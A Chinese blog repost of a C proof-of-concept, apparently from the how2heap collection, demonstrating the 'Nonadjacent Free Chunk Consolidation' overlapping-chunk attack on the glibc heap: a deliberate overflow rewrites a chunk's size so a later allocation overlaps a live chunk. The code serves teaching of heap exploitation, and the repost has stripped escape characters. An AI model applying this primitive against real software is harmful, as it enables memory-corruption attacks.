10.overlapping_chunks_2

71 阅读 0 评论 47 点赞

我是靠谱客的博主文静荔枝，最近开发中收集的这篇文章主要介绍10.overlapping_chunks_2，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

源代码

 1 /*
 2  Yet another simple tale of overlapping chunk.
 3
 4  This technique is taken from
 5
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
 6
 7  This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
 8
 9 */
10
11 #include <stdio.h>
12 #include <stdlib.h>
13 #include <string.h>
14 #include <stdint.h>
15 #include <malloc.h>
16
17 int main(){
18
19
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
20
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
21
int prev_in_use = 0x1;
22
23
fprintf(stderr, "nThis is a simple chunks overlapping problem");
24
fprintf(stderr, "nThis is also referenced as Nonadjacent Free Chunk Consolidation Attackn");
25
fprintf(stderr, "nLet's start to allocate 5 chunks on the heap:");
26
27
p1 = malloc(1000);
28
p2 = malloc(1000);
29
p3 = malloc(1000);
30
p4 = malloc(1000);
31
p5 = malloc(1000);
32
33
real_size_p1 = malloc_usable_size(p1);
34
real_size_p2 = malloc_usable_size(p2);
35
real_size_p3 = malloc_usable_size(p3);
36
real_size_p4 = malloc_usable_size(p4);
37
real_size_p5 = malloc_usable_size(p5);
38
39
fprintf(stderr, "nnchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
40
fprintf(stderr, "nchunk p2 from %p to %p", p2,
(unsigned char *)p2+malloc_usable_size(p2));
41
fprintf(stderr, "nchunk p3 from %p to %p", p3,
(unsigned char *)p3+malloc_usable_size(p3));
42
fprintf(stderr, "nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
43
fprintf(stderr, "nchunk p5 from %p to %pn", p5,
(unsigned char *)p5+malloc_usable_size(p5));
44
45
memset(p1,'A',real_size_p1);
46
memset(p2,'B',real_size_p2);
47
memset(p3,'C',real_size_p3);
48
memset(p4,'D',real_size_p4);
49
memset(p5,'E',real_size_p5);
50
51
fprintf(stderr, "nLet's free the chunk p4.nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4n");
52
53
free(p4);
54
55
fprintf(stderr, "nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2nwith the size of chunk_p2 + size of chunk_p3n");
56
57
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE 
58
59
fprintf(stderr, "nNow during the free() operation on p2, the allocator is fooled to think that nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) n");
60
fprintf(stderr, "nThis operation will basically create a big free chunk that wrongly includes p3n");
61
free(p2);
62
63
fprintf(stderr, "nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunkn");
64
65
p6 = malloc(2000);
66
real_size_p6 = malloc_usable_size(p6);
67
68
fprintf(stderr, "nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and nwe can overwrite data in p3 by writing on chunk p6n");
69
fprintf(stderr, "nchunk p6 from %p to %p", p6,
(unsigned char *)p6+real_size_p6);
70
fprintf(stderr, "nchunk p3 from %p to %pn", p3, (unsigned char *) p3+real_size_p3);
71
72
fprintf(stderr, "nData inside chunk p3: nn");
73
fprintf(stderr, "%sn",(char *)p3);
74
75
fprintf(stderr, "nLet's write something inside p6n");
76
memset(p6,'F',1500);
77
78
fprintf(stderr, "nData inside chunk p3: nn");
79
fprintf(stderr, "%sn",(char *)p3);
80
81
82 }